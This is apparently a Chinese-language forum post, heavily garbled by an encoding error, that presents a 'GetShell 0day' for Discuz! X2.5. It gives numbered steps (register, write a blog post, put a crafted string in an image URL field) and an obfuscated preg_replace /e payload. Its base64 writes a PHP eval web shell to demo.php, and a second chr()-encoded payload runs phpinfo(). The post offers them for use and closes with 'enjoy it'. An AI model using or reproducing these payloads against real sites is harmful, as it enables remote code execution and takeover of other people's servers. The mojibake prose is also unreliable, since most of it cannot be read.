Discuz X2.5 GetShell 0day ϸ÷

˵Discuz!ֳ©ˣλǸGetShell©ѽ©Ƚ£Ӧúܶվû°ɡӰ汾У20120407betarc
 
 
 
Discuz! X2.5 Release 20120407еpreg_replaceʹeη˫ţ
 
 
 
ʵϴԶִ©Զ̹߿ô©ִԶ롣
 
 
 
Ҫɹô©ҪĿseoܡ
 
 
 
˵÷
 
 
 
1.ע˻
 
 
 
2.½ûblog־ע־
 
 
 
3.ͼƬѡͼƬַд 
 
 
 
 {${fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}}
 
 
 
4.־̳Ŀ¼demo.phpһ䷢c 
 
 
 
 
 
©Ҫseoҿû־seo©ߣվˡ
 



һ°ɣseoûǲ˵ķǵÿ־seo˵ ֵط source/include/space/space_blog.php
 
 
 
Ķˡ ֻӶѣʵκܹµĵطԣ򵥵ģ̳Ҹ鷢ӾУ
 
 
 
ҪԱĸλõseo֪Աĵseo͵һ¡
 



÷ʽҲǷǵ÷blogҲǷǵ÷ͼƬϸǱ㷢ӣ
 
 
 
${${eval(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111).chr(40).chr(41).chr(59))}}
 
Ȼⳬӣphpinfo()enjoy it :)